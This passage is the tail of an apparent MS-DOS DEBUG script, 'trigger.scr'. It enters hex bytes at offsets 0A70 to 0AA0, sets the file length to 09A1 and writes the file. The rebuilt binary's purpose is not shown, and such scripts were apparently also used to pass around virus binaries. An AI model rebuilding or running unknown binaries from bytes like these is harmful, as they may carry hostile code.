  1863. e 0A70  9D 07 9D 07 72 07 84 07 06 C7 07 C7 07 C0 08 B5 
  1864. e 0A80  07 02 D2 07 9A 08 02 20 08 9F 08 02 2A 08 A4 08 
  1865. e 0A90  0E 53 08 53 08 DE 08 6A 08 2E 08 34 08 3A 08 3A 
  1866. e 0AA0  08 
  1867. rcx
  1868. 09A1
  1869. w
  1870. q
  1871. -end trigger.scr---------------------------------------------------------------
  1872.  
  1873.